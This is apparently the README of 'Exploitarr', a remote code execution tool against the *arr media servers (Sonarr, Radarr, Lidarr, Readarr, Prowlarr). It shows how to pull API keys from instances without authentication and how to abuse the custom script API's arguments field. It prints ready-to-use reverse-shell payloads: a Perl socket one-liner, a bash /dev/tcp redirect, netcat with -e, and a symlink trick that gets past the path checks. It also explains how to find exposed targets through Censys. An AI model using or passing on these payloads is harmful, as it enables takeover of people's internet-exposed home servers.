Exploitarr

Remote Code Execution for Sonarr, Radarr, Lidarr, Readarr, Prowlarr

Usage

Firstly install the requirements:

pip install -r requirements.txt

--help will show help details

python exploitarr.py --help

--help also works for subcommands.

python exploitarr.py <subcommand> --help

Exploitarr has two main subcommands Probe and Exploit.

Probe

Checks to see if the initialize.js script is accessible. If so this means the instance has no authentication enabled and instance information including the API Key can be extracted.

Probe does not do any version checking so ~~(if/when) this is patched~~ (patched in Sonarr release v3.0.8.1507) it will still return that an instance is vulnerable as long as it still has no authentication allowing for the initialize.js data to be extracted.

python exploitarr.py probe http://<instance_ip>:<port>

Sample output

http://127.0.0.1:8989 is vulnerable
Service: Sonarr
API Key: c8b15bb1798c460db573c5d4853fc75d
API Root: /api/v3

Exploit

Exploit an instance by sending payloads to trigger a reverse shell.

Exploitarr does not listen for you. You must do this yourself using e.g. netcat

python exploitarr.py exploit http://<instance_ip>:<port> --ip <listening_ip> --port <listening_port>

--port is optional and defaults to 10001

Explanation

The *arr software stack supports the use of running custom scripts when certain events are triggered. (See more here)

As can be seen in the above image; the UI only lets you select the path to the script and you can not pass any custom arguments. The *arr software passes all relevant info to the script using environment variables.

Support for custom arguments was removed during the previous major version update for security reasons. However the API actually still supports supplying custom arguments. 🤔

Examining the network request payload sent when testing the script the following can be seen.

"fields": [
    {
        "name": "path",
        "value": "/usr/bin/awk"
    },
    {
        "name": "arguments"
    }
]

Viewing the source code Sonarr Custom Script Settings we see that support for arguments still exists.

We can see a Validation Rule on the custom script settings is in place to ensure that the arguments is actually empty preventing anything from being supplied. However this doesn't appear to actually do anything 🤷

e.g. the following can be used to pass an argument to touch

"fields": [
    {
        "name": "path",
        "value": "/usr/bin/touch"
    },
    {
        "name": "arguments",
        "value": "/tmp/exploitarr"
    }
]

Some of the *arr stack prevent the path value being a child of System Folders (/bin, /boot, /lib, /sbin, /proc)

The System Folders lists used by the above don't include /usr/bin. The contents of /usr/bin can vary between systems but often contains perl which can be used to get a reverse shell using the below payload (where IP_ADDRESS, PORT) are replaced by the corresponding values for a machine listening for TCP connections (e.g. nc -lvnp PORT)

"fields": [
    {
        "name": "path",
        "value": "/usr/bin/perl"
    },
    {
        "name": "arguments",
        "value": "-e \"use Socket;$i=qq{IP_ADDRESS};$p=qq{PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(qq{tcp}));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,qq{>&S});open(STDOUT,qq{>&S});open(STDERR,qq{>&S});exec(qq{/bin/bash -i});};\""
    }
]

Note qq{} is a string. I was having issues using ' and " together. This post showed using qq{} as a workaround

From my own testing running *arr instances locally using the Linux Server docker images as well as running the official Sonarr Linux build there doesn't seem to be a single exploit payload that works for everything. But there exists a way to exploit everything. Exploitarr is configured with a few different payloads which will be tried during exploit mode. The built in exploits should work for the majority of Linux systems however certain setups might require a different/more complicated exploit.

Here are some alternatives to perl which I had success with:

If /usr/bin/bash exists

"fields": [
    {
        "name": "path",
        "value": "/usr/bin/bash"
    },
    {
        "name": "arguments",
        "value": "-c \"bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1\""
    }
]

Netcat available

"fields": [
    {
        "name": "path",
        "value": "/usr/bin/nc"
    },
    {
        "name": "arguments",
        "value": "IP_ADDRESS PORT -e /bin/bash"
    }
]

No System Folder Protection - Lidarr, Readarr

"fields": [
    {
        "name": "path",
        "value": "/bin/bash"
    },
    {
        "name": "arguments",
        "value": "-c \"bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1\""
    }
]

Symlink Creation

Here I used coreutils to run ln but if direct access to ln is available that would work too.

// Request 1 - Create symlink to bash using `coreutils`
"fields": [
    {
        "name": "path",
        "value": "/usr/bin/coreutils"
    },
    {
        "name": "arguments",
        "value": "--coreutils-prog=ln -s /bin/bash /app/bash"
    }
]

// Request 2 - Use symlink to bypass System Folder validation
"fields": [
    {
        "name": "path",
        "value": "/app/bash"
    },
    {
        "name": "arguments",
        "value": "-c \"bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1\""
    }
]

These are just a few of the many possible ways this exploit can be abused to gain a shell.

Impact

By default the *arr stack have no authentication enabled. As such any instance exposed to the internet is exploitable (of which there are way too many)

The HTML title of the page is the application name. When the forms authentication mode is enabled the title is the application name followed by - Login. This makes it easy to use internet scanning services such as Censys to identify instances exposed to the internet which don't have authentication enabled. Additionally when using basic-auth the title is not received until after successful authentication meaning these instances are not listed either.

This image shows a breakdown of host OSes for the exposed Sonarr instances.

Windows is the most popular platform by far. Exploitarr doesn't support Windows however theoretically (I have not tested this) with API access it should be possible to download a malicious torrent and execute a .bat file contained in the torrent using the custom script option as Windows has no executable attribute like Linux